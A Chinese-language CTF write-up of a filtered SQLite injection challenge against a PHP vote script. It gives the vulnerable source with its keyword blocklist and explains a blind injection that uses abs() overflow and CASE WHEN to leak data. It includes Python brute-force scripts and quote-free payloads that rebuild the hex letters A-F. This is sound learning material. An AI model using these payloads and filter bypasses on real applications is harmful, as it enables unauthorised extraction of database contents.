1.进入这题,看源码直接就是大过滤,反正不会做,直接就看wp学习了:
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
header("Content-Type: text/json; charset=utf-8");
// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}
// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
// succeeded!
echo json_encode([
'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);
2.根据题目可以得知是sqlite
数据库注入,这个数据库是一个轻量级的关系型数据库,不但各种语言都支持它的ODBC(开放式数据库连接)接口,而且不同于主流的关系型数据库MYSQL
和PostgreSQL
,它的大小和运行速度都更优。这题采用了PDO
数据库访问抽象层提供的API进行sqlite数据库的连接:new PDO('sqlite:<数据库文件>')
。
3.这里需要用到SQL内置的数学函数abs()
,该函数的作用是返回给定数字表达式的绝对值。当它超过转换值的最大整数2147483648
时,可能会导致溢出错误。这题就是需要用到该特性进行布尔盲注,因为当执行完sql语句后返回值为false
和有返回值时的页面信息,它们是不一样的。
4.这里由于sqlite没有if()函数,只能使用sql内置的case...when()
函数进行结果的返回。
case
when [condition1] then result1 #判断条件一是否成立,返回结果1
when [condition2] then result2 #判断条件二是否成立,返回结果2
else default_result #当上述条件均不成立时,将统一返回该结果
end
------------------------------------
CASE 列名
WHEN 条件值1 THEN 选项1
WHEN 条件值2 THEN 选项2
……
ELSE 默认值
END
5.同样,由于过滤了很多函数和字符,这里直接用hex()
来进行flag的16进制值读取,空格用括号绕过。先看读取flag的16进制数据长度payload和脚本:
abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)
------------------------------------------------------------------------------------------
import requests
url=""
l = 0
for n in range(16):
payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
data = {
'id' : payload
}
r = requests.post(url=url, data=data)
print(r.text)
if 'occurred' in r.text:
l = l|1<<n
print(l)
解析:
- abs()函数的参数值由case判断返回的,当case中的条件值为0时,返回0,其他所有情况都返回一个超出该函数取值的数
- 再看到case里面条件的内容,length(hex((select(flag)from(flag))))&{1<<n},这里就是将读取的flag的16进制数据长度与{1<<n}进行与操作。
{1<<n}就是将1左移n位,例如1<<3左移一位就是二进制的1000,十进制就是8
为什么进行与或操作呢?其实这里与操作是为了筛选用于数据长度的结果二进制位为0的位次,或操作是利用l变量将这些数据进行累加,最终得到长度。
假设读取的数据长度是18,那么18的二进制数据就为10010,它首先直接和00001进行与,第一位结果为0,不进入if;第二次{1<<1}左移一位,和00010进行与,该位匹配成功,进入if进行或操作。l=0|1<<1,此时l=2;第三次{1<<2}左移二位,和00100进行与,第三位结果为0,不进入if;第四次{1<<3}左移三位,和01000进行与,第三位结果为0,不进入if;第五次{1<<4}左移四位,和10000进行与,该位匹配成功,进入if进行或操作。l=4|1<<4,此时结果为18。
后续再进行循环的结果都是0,并不会进行累加操作,到此成功得到了最终长度结果18。
6.因为16进制有A-F
的英文字符,但是由于单引号和双引号都被过滤了,而我们又要逐位对数据进行拼接判断,所以接下来就是解决我们爆破出来的数据和这些字符进行拼接的问题了。我们可以用下列执行的语句巧妙的构造出A-F
:
# hex(b'zebra') = 7A65627261
# 利用函数trim进行前后预定的字符去空的处理,例如trim('7A65627261',12567)在前后删除1、2、5、6、7后,就只剩下一个A了。
A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
C = 'trim(hex(typeof(.1)),12567)'
D = 'trim(hex(0xffffffffffffffff),123)'
E = 'trim(hex(0.1),1230)'
F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
# hex(b'koala') = 6B6F616C61
# 除去 16CF 就是 B
B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
7.在sqlite
中||
代表拼接操作,而在mysql中则代表或操作,这里需要注意。因此解析一下剩下的脚本:
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
-----------------------------------------------------------------
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
- 分割线前的操作就不需要看了,主要是后面的。首先是知道flag开头的格式为:
flag{
,为了节省爆破时间,这里直接将它转为16进制的数据666C61677B
作为爆破的开头。然后,将这段长度减去,进行后续的爆破,范围(10-84)。然后就是对payload的拼接操作了,利用||
作为分隔符拼接上面的数据和构造的A-F
数据,例如,爆破从0开始第一位哈希就是666C61677B0 --> 6||6||6||trim(hex(typeof(.1)),12567)||6||1||6||7||7||trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||trim(hex(typeof(.1)),12567)||trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467))||0
。 - 上述单纯就是为了绕过单引号过滤,再接下来就是怎么判断flag拼接呢?可以发现第一个replace进行了替换操作,我们的hex(select flag from flag)一定是从
flag{
的16进制数据666C61677B
作为开头的。因此,我们设置一个空字符%00 --> trim(0,0)
进行定位,首先我们0-F
中的某一位如果判断成功了,那就将hex(flag{xxxx})
前面flag{x
的16进制数据替换为空,再计算替换后的长度length(replace(hex(flag{xxx-xxxx},hex(flag{x},%00))))
,可以知道的是,替换后它的长度一定会比flag数据的16进制总长度84位更小的。 - 然后就是第二层替换,
replace(length(new_length),84,%00)
,这里就不难发现,如果我们拼接的字符错误的话,第一次替换后的flag数据的16进制长度就不会变,就是84位,那么到这里84会被直接替换为%00
,从而进入了when
,导致这种情况返回的结果为0,进入不了if,从而不将该位字符读取。 - 反之,要是拼接字符正确,第一个replace将原本84位长度的flag数据前段部分替换为%00,导致计算出的长度小于84,那么第二个replace替换84就会替换失败;然后直接进入else中,最终导致abs()函数整数溢出报错,从而捕获到页面报错语句
An error occurred while updating database
,就成功得到这一位flag的16进制值。
9.利用官方wp脚本进行爆破,然后将16进制转成字符串就ok了: